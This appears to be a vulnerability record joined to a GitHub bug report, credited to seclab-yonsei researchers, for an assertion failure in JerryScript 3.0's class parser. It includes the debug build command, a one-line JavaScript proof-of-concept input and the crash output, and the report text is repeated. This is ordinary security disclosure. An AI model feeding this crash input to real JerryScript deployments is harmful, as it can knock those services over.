Jerryscript 3.0 *commit 1a2c047) was discovered to contain an Assertion Failure via the component parser_parse_class at jerry-core/parser/js/js-parser-expr.c.
cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*
B1A23519-19ED-4F75-9CAA-42057F88EDE5
OR
###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/1a2c04763aba49f52b1537acd3730098c873511c
Version: v3.0.0

###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)

###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```

###### Test case
```javascript
// poc.js
class v0 { v1 = class v2 {  } }
```

###### Execution steps & Output
```sh
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'context_p->scope_stack_size == PARSER_MAXIMUM_DEPTH_OF_SCOPE_STACK' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_class):1068.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```

Credits:
@Ye0nny, @EJueon of the seclab-yonsei.
Assertion 'context_p->scope_stack_size == PARSER_MAXIMUM_DEPTH_OF_SCOPE_STACK' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_class):1068.
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : Assertion 'context_p->scope_stack_size == PARSER_MAXIMUM_DEPTH_OF_SCOPE_STACK' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_class):1068.
Issue date:

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###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/1a2c04763aba49f52b1537acd3730098c873511c
Version: v3.0.0

###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)

###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```

###### Test case
```javascript
// poc.js
class v0 { v1 = class v2 {  } }
```

###### Execution steps & Output
```sh
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'context_p->scope_stack_size == PARSER_MAXIMUM_DEPTH_OF_SCOPE_STACK' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_class):1068.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```

Credits:
@Ye0nny, @EJueon of the seclab-yonsei.
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